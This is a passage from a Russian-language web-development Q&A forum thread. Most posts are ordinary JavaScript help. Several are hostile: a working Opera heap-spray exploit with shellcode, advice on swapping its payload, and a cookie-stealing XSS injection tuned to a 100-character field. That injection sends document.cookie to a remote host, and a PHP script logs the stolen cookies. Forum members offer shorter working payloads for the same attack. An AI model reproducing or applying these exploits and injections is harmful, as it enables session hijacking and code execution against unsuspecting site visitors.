Просмотр полной версии : [JavaScript, AJAX] Задай вопрос, получи ответ
Страницы :
1
2
3
4
[
5]
6
7
8
9
10
astrologer
09.12.2008, 13:43
ето где Слева снизу Вот этот пакер: http://dean.edwards.name/packer/, только он не предназначен для конвертации шелл-кода.
В JS примерно так же будет:var code = '\x66\x81\xec\x80.....';А уже после можно делать, что угодно - обфусцировать, сжимать, и т.п.
если так писать
var code = '\x66\x81\xec\x80.....';
то код не срабатывает,
сток много шелкодов на с а как их в html страницу зкинуть
astrologer
09.12.2008, 14:58
если так писать
var code = '\x66\x81\xec\x80.....';
то код не срабатывает,
сток много шелкодов на с а как их в html страницу зкинуть Шеллкод и эксплоит - это не одно и то же.
так я и хочу узнать как етот код в експлоит засунуть, вместо запуска калькулятора
<html> <head><title>uh?</title></head> <body> <script> // k`sOSe 11/15/2008 // tested on Windows XP SP3, opera 9.62 international version // vulnerability found by send9 // there are many ways to achieve code execution, tons of function pointers to overwrite. // maybe there's one more reliable... var i=0; // push es, pop es var block = unescape("%u0607%u0607"); // metasploit WinExec c:\WINDOWS\system32\calc.exe var shellcode = unescape("%ue8fc%u0044%u0000%u458b%u8b3c%u057c%u0178%u8bef%u 184f%u5f8b%u0120%u49eb%u348b%u018b%u31ee%u99c0%u84 ac%u74c0%uc107%u0dca%uc201%uf4eb%u543b%u0424%ue575 %u5f8b%u0124%u66eb%u0c8b%u8b4b%u1c5f%ueb01%u1c8b%u 018b%u89eb%u245c%uc304%u315f%u60f6%u6456%u468b%u8b 30%u0c40%u708b%uad1c%u688b%u8908%u83f8%u6ac0%u6850 %u8af0%u5f04%u9868%u8afe%u570e%ue7ff%u3a43%u575c%u 4e49%u4f44%u5357%u735c%u7379%u6574%u336d%u5c32%u61 63%u636c%u652e%u6578%u4100"); while (block.length < 81920) block += block; var memory = new Array(); for (;i<1000;i++) memory[i] += (block + shellcode); var evil = "file://"; for(var i = 0; i<16438; i++) evil += "X"; evil += "R."; window.location.replace(evil); </script> </body> </html> ,
шелкод есть но в таком формате \x66\x81\xec\x80\x00\x89\xe6\xe8\xb7\x00\x00\x00\x 89\x06\x89\xc3 он не выполняется
используется javascript.
есть 10 файлов htm - в каждом одна новость (заголовок и текст).
можно ли циклом for вывести их содержимое на одну страницу (получилось только одну вывести)?
возможно ли вывести заголовки новостей на другую страницу, при нажатии на которые открывались бы сами новости?
интересует возможно ли такое сделать на javascript без php и mysql.
life_is_shit
09.12.2008, 18:22
да можно, аяксом=)
если сервер не поддерживает php, то нужно устанавливать denwer, wamp, lamp и др.
javascript просто работает.
чтобы ajax работал, нужно ставить сервер?
astrologer
09.12.2008, 18:43
вот примерно такое соответствие
'\x66'
'\u0066'
decodeURI('%66')
unescape('%u0066')
String.fromCharCode(0x66)
decodeURIComponent('%66')
astrologer
09.12.2008, 18:56
если сервер не поддерживает php, то нужно устанавливать denwer, wamp, lamp и др.
javascript просто работает.
чтобы ajax работал, нужно ставить сервер? Должно быть что-то, способное отдавать данные.
можно ли циклом for вывести их содержимое на одну страницу (получилось только одну вывести)? Надо бы показывать хотя бы то, что получилось.
скоро покажу.
а можно форму отправить по email без php и без использования email клиента на стороне клиента? чтобы внешне было как обычная форма?
astrologer
09.12.2008, 19:11
скоро покажу.
а можно форму отправить по email без php и без использования email клиента на стороне клиента? чтобы внешне было как обычная форма? Нет, это вряд ли.
life_is_shit
09.12.2008, 19:30
если сервер не поддерживает php, то нужно устанавливать denwer, wamp, lamp и др.
javascript просто работает.
чтобы ajax работал, нужно ставить сервер?
не нужно ставить сервер, аякс это джаваскриптовая фишка. вечером отпишу подробнее=)
astrologer
09.12.2008, 19:49
не нужно ставить сервер, аякс это джаваскриптовая фишка. вечером отпишу подробнее=)interface XMLHttpRequest {
// event handler
attribute EventListener onreadystatechange;
// state
const unsigned short UNSENT = 0;
const unsigned short OPENED = 1;
const unsigned short HEADERS_RECEIVED = 2;
const unsigned short LOADING = 3;
const unsigned short DONE = 4;
readonly attribute unsigned short readyState;
// request
void open(in DOMString method, in DOMString url);
void open(in DOMString method, in DOMString url, in boolean async);
void open(in DOMString method, in DOMString url, in boolean async, in DOMString user);
void open(in DOMString method, in DOMString url, in boolean async, in DOMString user, in DOMString password);
void setRequestHeader(in DOMString header, in DOMString value);
void send();
void send(in DOMString data);
void send(in Document data);
void abort();
// response
DOMString getAllResponseHeaders();
DOMString getResponseHeader(in DOMString header);
readonly attribute DOMString responseText;
readonly attribute Document responseXML;
readonly attribute unsigned short status;
readonly attribute DOMString statusText;
}; Подробнее не бывает
life_is_shit
09.12.2008, 20:11
astrologer где ты этот ужас откопал???
<?php
$text = '
<html>
<head>
<title>test</title>
<SCRIPT language="JavaScript">
function openwindow()
{
windop=window.open("fail.htm","mywindow","menubar=1,resizable=1,width=350,height=500");
windop.document.open();
windop.document.write("<html><head><title>Описание</title>");
windop.document.write("</head><bоdу bgcolor=#FFFFCC>");
windop.document.write("<center><font face= serif,Arial,Verdana size=3 color=#000000><b>Подробное
описание</b></font></enter>");
windop.document.write("<iframe src=\'fail.htm\'></iframe>");
windop.document.write("<center><form><input type=\'button\' value=\'Закрыть\' onClick=\'window.close()\'></form></center>");
windop.document.write("</bоdу></html>");
windop.document.close();
}
</SCRIPT>
</head>
<bоdу>
<FORM ACTION="javascript:openwindow()">
<INPUT
TYPE=IMAGE
SRC="zakat.jpg"
HEIGHT=76 WIDTH=62
ALT="Yes" BORDER=0
NAME="Yes"
>
</form>
';
for($i=0;$i<5;$i++){
echo $text;
}
?>
astrologer
09.12.2008, 23:20
astrologer где ты этот ужас откопал??? Этот интуитивно-понятный код можно воочию увидеть в документации (http://www.w3.org/TR/XMLHttpRequest/) (это пока ещё не окончательная версия).
Подскажите, пожалуйста, как такой код, вывести на страницу 5 раз По-моему, ты идёшь неверным путём, если нужно один и тот же код вывести пять раз.
Цикл for работает. Переменная i пересчитывается от 1 до 5. Но почему i равно 5 на всех ссылках (выделенная строка).
Они ведь должны выводится 1-ая картинка i=1, 2-ая картинка i=2 и т.д.
function openwindow(num)
{
windop=window.open("fail.htm","mywindow","menubar=1,resizable=1,width=350,height=500");
windop.document.open();
windop.document.write("<html><head><title>Описание</title>");
windop.document.write("</head><bоdу bgcolor=#FFFFCC>");
windop.document.write("<center><font face= serif,Arial,Verdana size=3 color=#000000><b>Подробное
описание</b></font></enter>");
windop.document.write("<iframe src='fail.htm'></iframe>");
windop.document.write(num);
windop.document.write("<center><form><input type='button' value='Закрыть' onClick='window.close()'></form></center>");
windop.document.write("</bоdу></html>");
windop.document.close();
}
for (var i = 0; i < 5; i++)
{
document.write(i);
document.write("<FORM ACTION=\"javascript:openwindow(i)\"><INPUT TYPE=IMAGE SRC=\"zakat.jpg\" HEIGHT=76 WIDTH=62 ALT=\"Yes\"
BORDER=0 NAME=\"Yes\" ></form> ");
}
</SCRIPT>
astrologer
10.12.2008, 00:30
Цикл for работает. Переменная i пересчитывается от 1 до 5. Но почему i равно 5 на всех ссылках (выделенная строка).
Они ведь должны выводится 1-ая картинка i=1, 2-ая картинка i=2 и т.д.
Потому, что ты записываешь туда имя переменной, а не её значение.
document.write
(
'<form action="javascript:openwindow(' + i + ')">\
<input type="image" src="zakat.jpg" height="76" width="62" alt="Yes" border="0" name="Yes" >\
</form>'
);
Штамповать в цикле формы, вообще-то, не очень хорошо.
life_is_shit
10.12.2008, 00:49
2astrologer не обижайся, я немного утрировал, я ничего не имею против официальных вещей, но они не всегда удобны :rolleyes:
btw, плиз поправь пост #1018, там во второй цитате авторство мне не принадлежит :)
2UnPazz
вот это пихаешь, например, в ajax.js и подключаешь в хедер.
function makeRequest(url, content_id) {
var http_request = false;
if (window.XMLHttpRequest) { // Mozilla, Safari,...
http_request = new XMLHttpRequest();
if (http_request.overrideMimeType) {
http_request.overrideMimeType('text/html;');
// See note below about this line
}
} else if (window.ActiveXObject) { // IE
try {
http_request = new
ActiveXObject("Msxml2.XMLHTTP");
} catch (e) {
try {
http_request = new
ActiveXObject("Microsoft.XMLHTTP");
} catch (e) {}
}
} if (!http_request) {
alert('Giving up :( Cannot create an XMLHTTP instance');
return false;
}
http_request.onreadystatechange = function() {
alertContents(http_request, content_id);
};
http_request.open('GET', url, true);
http_request.send(null);
}
function alertContents(http_request, content_id) {
if (http_request.readyState == 4) {
if (http_request.status == 200) {
document.getElementById(content_id).innerHTML = http_request.responseText;
} else {
alert('There was a problem with the request.');
}
}
}
function run_request(file) { //file путь к подгружаемому файлу
makeRequest(file, div_id); //id - дива, о нем ниже
}
далее в тексте твоего основного html файла создаешь див с некоторым id (см.выше).
теперь после(!) этого дива можешь вызывать функцию run_request(file) столько раз, сколько тебе нужно и любые файлы, которые нужны.
удачи :)
да спасибо :-)
подскажите вот что, если не трудно, по синтаксису :
for (var i = 0; i < 5; i++)
{
document.write(i);
document.write("<FORM ACTION=\"javascript:openwindow(i)\"><INPUT TYPE=IMAGE SRC=\"zakat.jpg\" HEIGHT=76 WIDTH=62 ALT=\"Yes\"
BORDER=0 NAME=\"Yes\" ></form> ");
} Например, в выделенной строке, нужно сделать zakat1.jpg,zakat2.jpg,zakat3.jpg, и т.д. Как это записывается синтаксически? zakat .jpg пустить через переменную i .
for (var i = 0; i < 5; i++)
{
document.write(i);
document.write("<FORM ACTION=\"javascriptpenwindow(i)\"><INPUT TYPE=IMAGE SRC=\"zakat"+i+".jpg\" HEIGHT=76 WIDTH=62 ALT=\"Yes\" BORDER=0 NAME=\"Yes\" ></form> ");
}
life_is_shit
10.12.2008, 01:20
d_x опередил меня=)
astrologer
10.12.2008, 01:22
UnPazz, расскажи, а зачем там вообще форма?
Pashkela
10.12.2008, 01:48
Галлерею делает по моей системе:)
Astrologer, убрал лишний код.
d_x, спасибо, по синтаксису пояснил, но значение i, передаваемое в функцию, всегда равно 5.
Pashkela, хороший скрипт выложил. <SCRIPT language="JavaScript">
function openwindow(num)
{
windop=window.open("fail.htm","mywindow","menubar=1,resizable=1,width=350,height=500");
windop.document.open();
windop.document.write(num);
windop.document.write("<iframe src='fail.txt'></iframe>");
windop.document.write("<center><form><input type='button' value='Закрыть' onClick='window.close()'></form></center>");
windop.document.close();
}
for (var i = 0; i < 5; i++)
{
document.write("<A href=\"javascript:openwindow(i)\">Файл"+i+".</A><br>");
}
</SCRIPT> В открываем окне (через функцию), переданная переменная выводится для проверки - она всегда равна 5. Знает ли кто, как сделать чтобы переменная i передавалась со значением от 1 до 5, в зависимости от нажатой ссылки ?
astrologer
11.12.2008, 00:00
Галлерею делает по моей системе Система нипель
<deprecated>А можно обойтись без формы? Разумеется, ведь всё, что сейчас форма делает - это запускает код "openwindow(i)". C таким же успехом можно написать:
<img src="zakat1.jpg" onclick="openwindow(1)" />
А вообще, в html коде никаких обработчиков быть не должно.
</deprecated>
Если нажимать, на форму так, то окрывается окно. В окне для эксперимента выводится переданная переменная i . Но она всегда передается со значением 5 (код от d_x так же передает значение всегда 5, но вывод картинок теперь разных работает :-) Нет, она не передаётся со значением 5. Ты пишешь туда строковое имя переменной - "i". Значение пять там появляется только потому, что оно осталось таким в конце цикла.
Поиски информации привели к понятию "замыкание в javascript", верно ли? Это будет непросто понять.
P.S. если посоветуют небезызвестную статью Котерова, лучше вместо неё прочитать обсуждение на форуме
Pashkela
11.12.2008, 00:16
2 UnPazz:
Ну да, надо было сразу ко мне в ЛС писать:)) Лови:
Создаешь четыре файла:
1. zakat1.jpg
2. zakat2.jpg
3. fail1.txt (сюда к примеру забей "ДА")
4. fail2.txt (а сюда к примеру забей "УХ ТЫ")
и такой .html:
<html>
<head>
<title>Дополнительное окно с кнопкой ОТКРЫТЬ на странице и кнопкой ЗАКРЫТЬ в окне</title>
<SCRIPT language="JavaScript">
function openwindow(i)
{
windop=window.open("fail.txt","mywindow","menubar=1,resizable=1,width=350,height=250");
windop.document.open();
windop.document.write("<html><head><title>Название странички</title>");
windop.document.write("</head><bоdу bgcolor=#FFFFCC>");
windop.document.write("<center><font face= serif,Arial,Verdana size=3 color=#000000><b>Заголовок текста на страничке</b></font></center>");
windop.document.write("<iframe src='fail"+i+".txt'></iframe>");
windop.document.write("<center><form><input type='button' value='Закрыть' onClick='window.close()'></form></center>");
windop.document.write("</bоdу></html>");
windop.document.close();
}
</SCRIPT></head>
<bоdу>
<SCRIPT language="JavaScript">
for (var i = 1; i <= 2; i++)
{
document.write(i);
document.write("<FORM ACTION=\"javascript:openwindow("+i+")\"><INPUT TYPE=IMAGE SRC=\"zakat"+i+".jpg\" HEIGHT=76 WIDTH=62 ALT=\"Yes\" BORDER=0 NAME=\"Yes\" ></form> ");
}</SCRIPT>
</bоdу>
</html>
Ребят, запускаю скрипт в ИЕ и он шлет реферер.А мне этого не надо, надо "убить" его или же заменить "ничем", грубо говоря.
В описании написано, что setRequestHeader заменит хидер, если он существует. А он не заменяет, на реферер вообще не действует =\
req.open("POST", url, true);
req.setRequestHeader('Referer', '');
req.send(null);
astrologer
12.12.2008, 00:00
Это запрещено в целях безопасности - нельзя устанавливать заголовки вроде referer, host, content-length, и т.д.
P.S. Убить реферер вполне возможно, но только для отправки запроса, ответные данные получить будет нельзя.
спс, а других вариантов никаких? =\
убить значит тогда тоже не вариант, ибо ответ мне нужен..неужели нельзя средствами JS (+ajax) реализовать посылку запросов, тока без рефа??
Нет, домен не тот..
astrologer
12.12.2008, 00:20
Если домен тот же, то вероятность есть - если другой, то вряд ли
Pashkela
12.12.2008, 00:42
Посмотрите настройки IE.
В Security/Advanced/Custom Level есть пункт "Access data sources across domains".
По умолчанию=true (средний уровень безопасности), вывод - попробовать как-то изменить:)
Хотя вот тут вроде парниша чото нарыл:
http://www.gotdotnet.ru/Forums/XML/559048.aspx
У себя то я разрешу, но такой возможности считай нет :)
здравствуйте. Такой вопрос. Написал простую гостевуху на, поле для воода текста <textarea>, и просто кнопка добавить запись ну еще и капча, вот хочу улучшить поле воода текста, добавить кнопки изменения типа шрифта (жирный, курсив, подчеркнутый) и добавить смайлы. В яве не очень, но слышал что это реализуется с помощью ява скриптов. У кого нибудь есть такой скрипт? Или пример кода.. Буду благодарен любой информации по теме. Заранее благодарен.
life_is_shit
12.12.2008, 19:27
пример fckeditor (http://www.fckeditor.net/) .
на здоровье :)
здравствуйте. Такой вопрос. Написал простую гостевуху на, поле для воода текста <textarea>, и просто кнопка добавить запись ну еще и капча, вот хочу улучшить поле воода текста, добавить кнопки изменения типа шрифта (жирный, курсив, подчеркнутый) и добавить смайлы. В яве не очень, но слышал что это реализуется с помощью ява скриптов. У кого нибудь есть такой скрипт? Или пример кода.. Буду благодарен любой информации по теме. Заранее благодарен. NicEdit (~30кб).
Скажите пожалуйста, всяко все слышали про JimBot, я хочу в чате вставить скрипт для того, что бы можно было менять юзеру ник, без его согласия тока вот не знаю какой скрипт нужен. Может кто знает, напишите пожалуйста.Буду очень благодарен.
За ранее благодарю.
> всяко все слышали про JimBot,
С чего ты взял? Я например не слышал. А если слышал - то забыл =)
VDShark понятно, ну ладно))
тип вопроса: сделайте за меня :D
пришла идея сделать гугл мапс на сайте. ключ получил, поставил на страничке, выставил координаты нужные, но хотелось бы с видом со спутника, фотками, подсказками с википедии как на скриншоте..
http://img229.imageshack.us/img229/2590/googlebt4.th.jpg (http://img229.imageshack.us/img229/2590/googlebt4.jpg)
естественно отблагадарю ;)
holden321
15.12.2008, 23:42
вопрос по JavaScript
есть такой код
<img src="" id="q"/>
<script>q.src="mysite.php?a="+document.cookie</script>
к слову, в ответ назад передается картинка, чтобы все было красиво
так вот в чем проблема,
Firefox и Opera почемуто даже не пытается загрузить картинку по ссылке
а IE и Chrome загружет картинку влет, ну и конечно куки передаются
хотелось бы конечно наоборот чтобы опера и файрфокс подгружали картинку :)
помогите :confused:
Pashkela
15.12.2008, 23:45
В самом снифаке сделай отображение картинки после того, как он получил данные.
Pashkela
15.12.2008, 23:48
тип вопроса: сделайте за меня :D
пришла идея сделать гугл мапс на сайте. ключ получил, поставил на страничке, выставил координаты нужные, но хотелось бы с видом со спутника, фотками, подсказками с википедии как на скриншоте..
http://img229.imageshack.us/img229/2590/googlebt4.th.jpg (http://img229.imageshack.us/img229/2590/googlebt4.jpg)
естественно отблагадарю ;)
http://habrahabr.ru/blogs/google/36859/
holden321
16.12.2008, 00:28
В самом снифаке сделай отображение картинки после того, как он получил данные.
не помогло, дело в том что браузер даже не пытается открыть картинку
а если в свойствах картинки взять полученную ссылку и насильно пихнуть в адресную строку, то грузиться
непонятно=/
//mysite.php
<?php
$h = fopen("cookies","a");
fwrite($h,$_GET[a]);
fwrite($h,"\n");
fclose($h);
echo @readfile ("kartinka.jpg");
?>
astrologer
16.12.2008, 00:41
holden321,
Надо сделать следующее:
1) Отправлять правильный заголовок Content-Type
2) Не забывать кавычки вокруг индексов ( $_GET['a'] ), хотя php это терпит
3) Обратить внимание на название темы
holden321
16.12.2008, 00:55
astrologer, повторю вопрос:
есть такой код
<img src="" id="q"/>
<script>q.src="mysite.php?a="+document.cookie</script>
Firefox и Opera почемуто даже не пытается загрузить картинку по ссылке (q.src)
а IE и Chrome загружает картинку влет, ну и конечно куки передаются
теперь по теме ? :)
а програмку на php привел, потомучто предложили её изменить, ну чтобы всем видно было что тама все ок и вопще до нее дело даже не доходит
<img src="" id="q"/>
<script>q.src="mysite.php?a="+document.cookie</script>
q - это номер(id) элемента. а q.src это обращение к объекту q.
Как минимум -
<script language="JavaScript">
q = document.getElementById("q");
q.src="mysite.php?a="+document.cookie;</script>
language на всякий случай
holden321
16.12.2008, 11:58
спасибо ntldr, но к сожалению слишком длинный скрипт получается, ограничение мешает.
может тогда подскажите как лучше сделать ?
вот есть такой код на странице:
<img src="ССЫЛКА" alt="" />
вместо ссылки можно подставить что угодно, но не более 100 символов
сейчас я подставляю:
"id="q"/><script>q.src="http://xx.x.xx.xx/f/z.php?a="+document.cookie</script><br alt=" // 87 символов
// получается
<img src=""id="q"/><script>q.src="http://xx.x.xx.xx/f/z.php?a="+document.cookie</script><br alt="" alt="" />
как я уже сказал, работает, но не во всех броузерах :confused:
может можно по другому как нибудь сделать
astrologer
16.12.2008, 12:33
"><script>(new Image).src='//example.com?'+document.cookie</script><br k="
"><script src="//example.com/script.js"></script><br k="
holden321
16.12.2008, 14:28
astrologer, первый код не работает, не знаю почему,
а со вторым кодом все ок :)
только в опере не загружается, думаю может запрещена такая подгрузка сриптов или не правильный код в js:
document.getElementById('q').src='http://xx.x.xx.xx/f/z.php?a='+document.cookie+'&e='+Math.random();
но мне важнее чтобы в файрфоксе работало.
спасибо
всем
:D
Architek86
19.12.2008, 00:05
использую mootools для определения координат элемента.
<script>
window.addEvent('domready',function(){
position = $('footer').getPosition();
alert(position);
})
</script>
Но почему то выводит "[object Object]", что это значит? Может из-за того, что $('footer') - это div?
использую mootools для определения координат элемента.
<script>
window.addEvent('domready',function(){
position = $('footer').getPosition();
alert(position);
})
</script>
Но почему то выводит "[object Object]", что это значит? Может из-за того, что $('footer') - это div?
может потому, что position это обьект, а обращаться в таком случае надо к его свойствам. имхо (с mootools мало работал, уважаю jquery)
prescott
20.12.2008, 14:56
использую mootools для определения координат элемента.
<script>
window.addEvent('domready',function(){
position = $('footer').getPosition();
alert(position);
})
</script>
Но почему то выводит "[object Object]", что это значит? Может из-за того, что $('footer') - это div?
<script>
window.addEvent('domready',function(){
position = $('footer').getPosition();
alert(position.x + "|||" + position.y);
})
</script>
Как реализовать загрузку файлов(картнок и тпрочей...) на сервак средствами AJAX?
http://www.webtoolkit.info/ajax-file-upload.html
podkashey
24.12.2008, 02:31
https://forum.antichat.ru/thread91504.html - вот лучше помогите с темой. Интересует например можно ли посредством стандартных активикс (бещ добавления своих, юзаниях сплойтов итд), js, flash и php пропалить чела за варей например. И какие параетры системы вообще можно пропалить через них?
podkashey, можно использовать ActiveX, чтобы узнать много всякой инфы, например,
http://www.devarticles.com/c/a/JavaScript/How-to-Use-JavaScript-for-Hardware-Knowledge/ - выдаст инфу о девайсах на компьютере.
http://searchdomino.techtarget.com/tip/0,289483,sid4_gci1212258,00.html - получить имя пользователя компьютера.
Объектов ActiveX достаточно много, это уже нужно смотреть, что в каких из них может отличаться в виртуалке и на реальной машине.
Работа с файловой системой и реестром с помощью ActiveX неплохо описана в книге "Самоучитель JavaScript" Вадима Дунаева.
Но работать такое будет только в ИЕ, и то, только если пользователь разрешит ActiveX (по умолчанию он не разрешён).
Ну а всё остальное уже ответили в теме)
Как можно сделать чтобы яваскрипт страницу каждые там 5 секунд обновлял страницу? жлательно апсолютный пример...
astrologer
24.12.2008, 19:17
<script type="text/javascript">
setTimeout(function()
{
document.location.reload();
}, 5000);
</script>
Мне нужно написать JS но в JS я вообще не как....
Помогите если не злажно.
Будет 2 формы допустим "Кол-во" и "Итог"
Когда вводишь в "Кол-во" число оно умнажается на 0,2 и выводится ответ в поле "Итог"
И всё нужно в реальном времени, без кнопок всяких.
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/xhtml1-loose.dtd">
<html>
<head>
<title>Jaba</title>
<script type="text/javascript">
function makeRes(n)
{
var cnt=document.getElementById("count");
var result=document.getElementById("result");
if(cnt.value!="")
{
result.value=n*cnt.value;
}
}
</script>
</head>
<body>
<input type="text" id="count" value="" onkeydown="makeRes(0.2)" />
<input type="text" id="result" value="" />
</body>
</html>
держи, делать надо таким образом, только порядок соблюдать, необходимые проверки сделай сам
Pashkela
24.12.2008, 21:29
2 Byrger:
<HTML>
<HEAD>
<TITLE>Пример вычисления</TITLE>
<SCRIPT LANGUAGE="JavaScript">
ID = window.setTimeout("Update();", 1000);
function Update() {
var cnt=document.getElementById("input1");
if(cnt.value!="")
{
result=0.2*cnt.value;
document.form1.input2.value = result;
}
else document.form1.input2.value = 0;
ID = window.setTimeout("Update();", 1000);
}
</SCRIPT>
</HEAD>
<BODY>
<H1>Пример вычисления</H1>
<HR>
Значение будет умножено на 0.2
<HR>
<FORM NAME="form1">
<INPUT TYPE="text" id="input1" NAME="input1" SIZE="10" value="0"><INPUT TYPE="text" NAME="input2" SIZE="10"><BR>
</FORM>
<HR>
</BODY>
</HTML>
2 Byrger:
<HTML>
<HEAD>
<TITLE>Пример вычисления</TITLE>
<SCRIPT LANGUAGE="JavaScript">
ID = window.setTimeout("Update();", 1000);
function Update() {
var cnt=document.getElementById("input1");
if(cnt.value!="")
{
result=0.2*cnt.value;
document.form1.input2.value = result;
}
else document.form1.input2.value = 0;
ID = window.setTimeout("Update();", 1000);
}
</SCRIPT>
</HEAD>
<BODY>
<H1>Пример вычисления</H1>
<HR>
Значение будет умножено на 0.2
<HR>
<FORM NAME="form1">
<INPUT TYPE="text" id="input1" NAME="input1" SIZE="10" value="0"><INPUT TYPE="text" NAME="input2" SIZE="10"><BR>
</FORM>
<HR>
</BODY>
</HTML>
А как результат округлить до 2 нулей
И отрицательные чтоб нельзя було вводить.
И если в поле введено "0" то результат ="-"
Pashkela
24.12.2008, 22:47
<HTML>
<HEAD>
<TITLE>Пример вычисления</TITLE>
<SCRIPT LANGUAGE="JavaScript">
ID = window.setTimeout("Update();", 1000);
function Update() {
var cnt=document.getElementById("input1");
if (cnt.value<0)
{
alert('Только положительные числа!');
document.form1.input1.value = 0;
}
if(cnt.value!="")
{
result=0.2*cnt.value;
result = result.toFixed(2);
document.form1.input2.value = result;
}
else document.form1.input2.value = "-";
if (cnt.value==0)
{
result="-";
document.form1.input2.value = result;
}
ID = window.setTimeout("Update();", 1000);
}
</SCRIPT>
</HEAD>
<BODY>
<H1>Пример вычисления</H1>
<HR>
Значение будет умножено на 0.2
<HR>
<FORM NAME="form1">
<INPUT TYPE="text" id="input1" NAME="input1" SIZE="10" value=""><INPUT TYPE="text" NAME="input2" SIZE="10"><BR>
</FORM>
<HR>
</BODY>
</HTML>
astrologer
24.12.2008, 22:56
Иногда лучше делить на 5, чем умножать на 0.2
P.S. Почему можно почитать вот в этой статье (http://dev.opera.com/articles/view/why-i-love-ecmascript-4-real-decimals/).
Pashkela
24.12.2008, 23:11
Зависит от мат. операции
Но за статью все-равно сенкс
Romantic1989
27.12.2008, 13:42
Что я не правельно делаю?
Addfile.html
<script src="../../lib/JsHttpRequest/JsHttpRequest.js"></script>
<script language="JavaScript">
function upload() { JsHttpRequest.query('addfile.php',
{ 'upl': getElemntById("myupl") //document.getElementById("debug").innerHTML = 'Loading...';
}, function(result, errors) { document.getElementById("debug").innerHTML = errors;
if(result) document.getElementById("ans").innerHTML = result['str']; } }, false ); } </script>
<form onSubmit="return false" enctype="multipart/form-data" method="post">
Файл: <input type="file" id="myupl">
<input type="button" value="Upload" onclick="javascript:upload()">
</form>
<div id="ans" style="border:2px solid #000000">Result:<br></div>
<br>
<div id="debug" style="border:3px double #000000">Debug:<br></div>
addfile.php
<?require_once "../../lib/JsHttpRequest/JsHttpRequest.php";
$JsHttpRequest =& new JsHttpRequest("windows-1251");
$upl = $_REQUEST['upl'];
$newupl=time()."_".$upl; if(copy($upl,$newupl))
{
$GLOBALS['_RESULT'] =array('str' => "Файл Загружен"); } else { $GLOBALS['_RESULT']=array('str' => 'Ошибка загрузки файла'); }
if ($_REQUEST['str'] == 'error') { error_demonstration__make_a_mistake_calling_undefi ned_function(); }
?>
Pashkela
27.12.2008, 16:47
<script src="../../lib/JsHttpRequest/JsHttpRequest.js"></script>
<?require_once "../../lib/JsHttpRequest/JsHttpRequest.php";
А что, оба файла такие есть и оба в одной папке
JsHttpRequest.js
JsHttpRequest.php
скачай архив и посмотри
Архив класса c js от разработчиков и примером (http://www.parser.ru/off-line/examples/js_http_request/JSHttpRequest.zip)
Romantic1989
27.12.2008, 18:18
Ну да!
MegaFill
27.12.2008, 20:34
Здравствуйте. Вообщем мне нужно сделать просмотри видео как на этом http://www.unrulymedia.com/campaigns/ сайте. При нажатие на картинку воспроизводиться видео в томже окне... Подскажите как это реализованно и как такое же повторить.
Я попробывал выдернуть скрипт , но он там как-то приаязан к конкретному ролику...
prescott
31.12.2008, 01:35
Здравствуйте. Вообщем мне нужно сделать просмотри видео как на этом http://www.unrulymedia.com/campaigns/ сайте. При нажатие на картинку воспроизводиться видео в томже окне... Подскажите как это реализованно и как такое же повторить.
Я попробывал выдернуть скрипт , но он там как-то приаязан к конкретному ролику...
Для этого есть JS фреймворки, например лайтвью, сайт разработчика (http://www.nickstakenburg.com/projects/lightview/). На сайте подробно описано как его прикрутить на свою страницу.
Romantic1989
01.01.2009, 13:24
Помогите пожалуйста ограничить количество введенного текста в textarea. Надо что бы при написании лишнего символа он просто стирался! Зарание спасибо!
prescott
01.01.2009, 20:24
<html>
<body>
<script type='text/javascript'>
function func1(event) {
if (document.getElementById('texttt').value.length>50 && event.keyCode!=8 && event.keyCode!=8 && (event.keyCode<37 || event.keyCode>40)) return false;
}
</script>
<textarea id='texttt' onKeyPress='return func1(event);'>Здесь нельзя вводить больше 50 символов</textarea>
</body>
</html>
Вот как то так: вешаем функцию на событие keypress и если нажатая клавиша не является бакспейсом или стрелочкой и количество символов превышает допустимое, возвращаем false.
Romantic1989
02.01.2009, 02:02
<html>
<body>
<script type='text/javascript'>
function func1(event) {
if (document.getElementById('texttt').value.length>50 && event.keyCode!=8 && event.keyCode!=8 && (event.keyCode<37 || event.keyCode>40)) return false;
}
</script>
<textarea id='texttt' onKeyPress='return func1(event);'>Здесь нельзя вводить больше 50 символов</textarea>
</body>
</html>
Вот как то так: вешаем функцию на событие keypress и если нажатая клавиша не является бакспейсом или стрелочкой и количество символов превышает допустимое, возвращаем false.
Спасибо! Но я когда то видел функцию по проще там как-то была использована функция substr. Но и на этом спасибо...
prescott
02.01.2009, 04:22
Спасибо! Но я когда то видел функцию по проще там как-то была использована функция substr. Но и на этом спасибо...
Вероятно там было реализовано так:
<html>
<body>
<script type='text/javascript'>
function func1(el) {
if (el.value.length>50) el.value=el.value.substr(0,49);
}
</script>
<textarea id='texttt' onKeyPress='func1(this);'>Здесь нельзя вводить больше 50 символов</textarea>
</body>
</html>
ИМХО кривое решение, хоть и короче
Помогите с самоучителем по Java???
prescott
04.01.2009, 01:03
Помогите с самоучителем по Java???
Если бы ты спросил самоучитель по ПХП или MySQL я б сказал тебе хорошие книги... А javascript ИМХО не такой сложный язык чтобы покупать справочник, по крайней мере я достойных не видел, хотя два из них все же купил... По мере поступления задачи просто ищи ее решение в интернете и сам во всем разберешься...
astrologer
04.01.2009, 01:27
Если бы ты спросил самоучитель по ПХП или MySQL я б сказал тебе хорошие книги... А javascript ИМХО не такой сложный язык чтобы покупать справочник, по крайней мере я достойных не видел, хотя два из них все же купил... По мере поступления задачи просто ищи ее решение в интернете и сам во всем разберешься... PHP проще.
А SQL - информационный язык и было бы некорректно сравнивать его с языками программирования по сложности
prescott
04.01.2009, 01:54
PHP проще.
А SQL - информационный язык и было бы некорректно сравнивать его с языками программирования по сложности
В ПХП много функций - для него удобно купить справочник. SQL в некоторых местах сложно понять без примеров - возможно стоит купить самоучитель (а лучше просто учитель =) Покупать книгу по джаваскрипт смысла не вижу. ИМХО конечно.
Architek86
05.01.2009, 21:01
Как можно сделать предзагрузку страницы, например, пока грузиться страница со всеми картинками и текстом, отображаеться что то типа "Loading..."
Как можно сделать предзагрузку страницы, например, пока грузиться страница со всеми картинками и текстом, отображаеться что то типа "Loading..."
Вешаешь div'ку с максимальным z-index'ом, в которой будет твой текст.
Далее в боди на событие onload вешаешь скрытие этой дивки. Типо такого
<body onload="document.getElementById('your_div_id').style.displ ay = 'none'">
Как можно сделать предзагрузку страницы, например, пока грузиться страница со всеми картинками и текстом, отображаеться что то типа "Loading..."
CSS:
#loading {
background:#b7b7b7;
height:100%;
opacity:0.7;
filter:alpha(opacity=70);
position:absolute;
visibility:visible;
width:100%;
}
HTML:
